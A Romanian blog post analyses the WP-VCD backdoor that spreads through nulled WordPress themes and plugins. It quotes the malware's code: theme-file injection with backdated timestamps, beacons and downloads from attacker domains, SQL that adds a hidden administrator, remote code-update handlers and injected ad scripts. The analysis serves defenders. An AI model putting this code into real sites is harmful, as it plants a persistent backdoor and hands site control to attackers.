Anatomia unui atac malware WP-VCD backdoor

Observasem acum câteva zile că pe anumite site-uri găzduite pe platforma WordPress majoritatea link-urile făceau redirect spre pagini dubioase cu reclame sau infectate. M-am gândit prima oară că cineva a obţinut cumva access şi a modificat rutele pentru posturi ca toate să apeleze şi ceva extern.

De la panoul de control, baza de date la fisiere pe host totul părea să fie la locul său, dar inspectând mai bine în tema paginii am descoperit nişte coduri embedded injectate cumva acolo. Bun, am zis ca că totuşi există o explicaţie şi că se poate remedia. După ce am curăţat puţin tema am urcat-o din nou cu fişierele ei, dar codul tot reapărea. Asta nu putea însemna decât că mai sunt şi alte fişiere răspândite prin alte locuri care execută un cod extern.

După ce am cercetat după anumite pattern-uri întâlnite în această infecţie am reuşit să găsesc că sursa ei era un atac malware WP-VCD de care se ştie de ceva timp, dar care tot continuă să infecteze tot mai multe site-uri în ultima perioadă.

Cum se derulează infecţia cu WP-VCD

Totul pleacă de la un plugin sau o temă nulled, iar restul e poveste.

Se adaugă un fişier în functions.php din template sau în pluginul nulled folosit care va fi principalul punct de pornire în infecţie. class.plugin-modules.php sau class.theme-modules.php

Fişiere ce pot fi găsite doar la cel de unde a pornit infecţia.

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) 
  include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>

În fişierul .class. va fi inclusă o funcţie ce execută malware-ul în fişierele post.php şi wp-vcd.php din /includes/ printr-o variabilă globală ‘WP_CD_CODE’ ce conţine un hash encodat în Base64. Practic injectează ce e înăuntrul codului în toate fişierele functions.php din temele instalate pe acel host, şi ce e mai rău este că merge în cascadă şi mai departe spre alte directoare.

function WP_URL_CD($path)
if ( ($file = file_get_contents($path . ‘/wat-is-dat/post.php’)) &amp;&amp; (file_put_contents($path . ‘/wat-is-dat/wp-vcd.php’, base64_decode($GLOBALS[‘WP_CD_CODE’]))) )
{
if (strpos($file, ‘wp-vcd’) === false) {

$file = ‘<?php if (file_exists(dirname(__FILE__) . \’/wp-vcd.php\’)) include_once(dirname(__FILE__) . \’/wp-vcd.php\’); ?>’ . $file;

file_put_contents($path . ‘/wat-is-dat/post.php’, $file);

//@file_put_contents($path . ‘/wat-is-dat/class.wp.php’, file_get_contents(‘http://www.moxford.cc/admin.txt’));
}
}
}

class.plugin-modules.php

Variabila ce conţine acel hash encodat în Base64 e mai apoi decodat când se injectează la gazdă. În cadrul deploy-ului se mai generează o parola care e unică pentru fiecare gazdă infectată, dintr-un md5 cu url-ul, constanta AUTH_SALT din wordpress şi variabila install_code.

$install_code = 'PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2;
	$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
	$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

wp-vcd.php

Parcursul variabilei WP_CD_CODE

class.theme-modules.php –> WP_CD_CODE în base64 –> decodat în wp-vdc.php primul ciclu

–> se obţine variabila $install_code inserată în wp-vcd.php header al cărei conţinut va fi decodat in al doilea ciclu, injectat în functions.php împreună cu celelalte elemente unice

O altă mişcare interesantă în cadrul infecţiei e că timpul ultimei modificări a fişierelor se ia ca fiind cel dinainte ca fişierele să fie modificate. Astfel la o eventuală căutare a fişierelor modificate recent cele infectate nu vor ieşi în evidenţă.

$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');

wp-vcd.php

Şi se apelează variabila după ce codul din base64 a fost injectat.

touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );

wp-vcd.php

Inserarea in functions.php din teme se face prin:

if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
						$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');

						if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
							if (strpos($content, 'WP_V_CD') === false) {
								$content = $install_code . $content;
								@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
								touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $time);
							} else {
								$ping = false;
							}
						}
					}
		
wp-vcd.php

Spre finalul fişierului wp-vcd.php se află cârligul folosit de atacator pentru a fi anunţat de noile site-uri infectate, conţinând url-ul şi parola generată anterior. Sunt multe domenii folosite pentru atacul acesta care la prima vedere daca ar fi accesate par a fi goale, însă accesând fişiere observăm că există totuşi ceva ţinut acolo şi că domeniile sunt folosite doar pentru atacuri.

$content = @file_get_contents('http://www.garors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

wp-vcd.php

În unele cazuri s-a mai observat faptul că a fost introdus un user 100010010 in baza de date prin injectarea unui fisier class.wp.php ce preia date dintr-un fişier remote .txt.

@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.garors.com/admin.txt'));

wp-vcd.php

Nu i-a prea dus capul în sensul că fişierele de unde se preia cod încă există prin arhive indexate:

https://web.archive.org/web/20191031215433/http://www.krilns.com/code.php

Alte propagări alte acestei infecţii sunt în fişierul post.php din wp root unde se cheamă acelaşi fişier wp-vcd.php.

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php

post.php

Ce pare interesant din fişierul class.wp.php e faptul că se inserează un user pe baza unui request şi se şterge acel user pe baza altui request. Tehnica pe bază de request-uri se dovedeşte a fi cheia acestui atac.

if( isset($_GET['awu']) ) {
$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '\$P\$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', 'te@ea.st', '', '2011-06-07 00:00:00', '', '0', '100010010');");
$wpdb->query("INSERT INTO $wpdb->usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (100010010, '100010010', '{$table_name}capabilities', '{$sample}');");
$wpdb->query("INSERT INTO $wpdb->usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '100010010', '{$table_name}user_level', '10');"); 
}

if( isset($_GET['dwu']) ) { $wpdb->query("DELETE FROM $wpdb->users WHERE `ID` = 100010010");
$wpdb->query("DELETE FROM $wpdb->usermeta WHERE $wpdb->usermeta.`umeta_id` = 100010010");
}

Modularitatea backdoor-ului instalat

Analizând puţin mai atent fişierul functions.php din temă se pot observa câteva linii de cod ce ar putea pregăti terenul pentru un viitor atac:

$div_code_name="wp_vcd";
        switch ($_REQUEST['action'])

În această versiune a malware-ului se foloseşte switch pe două nivele pentru a defini scenarii în cazul în care requestul primeşte acei parametri.

case 'change_domain';
                    if (isset($_REQUEST['newdomain'])){
                            if (!empty($_REQUEST['newdomain'])){
                                    if ($file = @file_get_contents(__FILE__)){
                                         if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)){
                                            $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                            @file_put_contents(__FILE__, $file);
                                            print "true";
                                         }
                                     }
                                }
                    }
case 'change_code';
                    if (isset($_REQUEST['newcode'])) {
                          if (!empty($_REQUEST['newcode'])) {
                            if ($file = @file_get_contents(__FILE__)) {
                                if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) {
                                    $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                    @file_put_contents(__FILE__, $file);
                                    print "true";
                                }
                            }
                         }
                    }

Tot discutând pe acelaşi fir legat de modularitatea şi posibila schimbare e instrucţiunilor pe care le poate primi acest backdoor, am găsit şi urmele lăsate de autori prin domeniile folosite ca şi servere de control ce nu au absolut nimic pe root ci doar într-un fişier adiacent. Tot ce vine prin apelarea /code.php se parsează într-un parametru dintr-o funcţie numită theme_temp_setup() sau wp_temp_setupx()

function wp_temp_setupx($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setupx");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

Aici un fişier se creează în directorul temporar conţinând şi codul ce a fost parsat în variabilă. El se execută pe noul fişier temporar după care se şterge de pe server.

Instrucţiunile primite de pe fişierul temporar se trimit într-un fişier din wordpress root -> includes -> wp-tmp.php. Ei se folosesc în general de 3 domenii pentru a avea siguranţa că unul dintre ele va răspunde cu noile instrucţiuni, dacă toate cad se va executa codul anterior rămas în fişier.

Instrucţiuni care sunt ascunse sub funcţii ce la prima vedere chiar ar putea face parte din funcţiile temei.

if ( ! function_exists( 'slider_option' ) ) {  

function slider_option($content){ 
if(is_single())
{
$con = '
';

$con2 = '

<script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1594340"></script>
<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1594343&amp;interactive=1&amp;pushup=1"></script>
<script src="//pushnest.com/ntfc.php?p=1594344" data-cfasync="false" async></script>
<script src="//go.mobtrks.com/notice.php?p=1594346&amp;interstitial=1"></script>
';

$content=$content.$con2;
}
return $content;
} 

Principalul motiv pentru care ar fi construit acest malware se zvoneşte că e cel financiar deoarece în tot acest bloc infectat se injectează prin acel tmp file de care povesteam mai sus referinţe la reclame dintr-o reţea ce plăteşte destul de bine pentru distribuirea lor.

Multă lume consideră acest tip de atac ca fiind destul de inofensiv pentru că după instalarea lui pe o gazdă el în cel mai rău caz ar modifica link-urile postărilor cu tot felul de pagini cu reclame ori ar instala ancore maliţioase în sursă. Însă părerea mea după analiza făcută e că are toate şansele să fie un backdoor extrem de puternic pentru că cel ce l-a construit a lăsat uşa deschisă cu scopul a-şi putea modifica în orice moment codul ce deja e apelat în fişiere importante, pe lângă faptul că se şi răspândeşte incredibil de ingenios mai ales pe găzduirile shared.

Modularitatea lui şi eficienţa cu care îşi poate modifica părţi ori componente din arhitectura lui pentru a se răspândi către alte locuri cheie din platformă având capacitatea de a se controla singur odată ajuns în gazdă rămânând ascuns până la eventuale instrucţiuni, îl fac unul dintre cele mai complexe tipuri de malware din WordPress.

Leave a Reply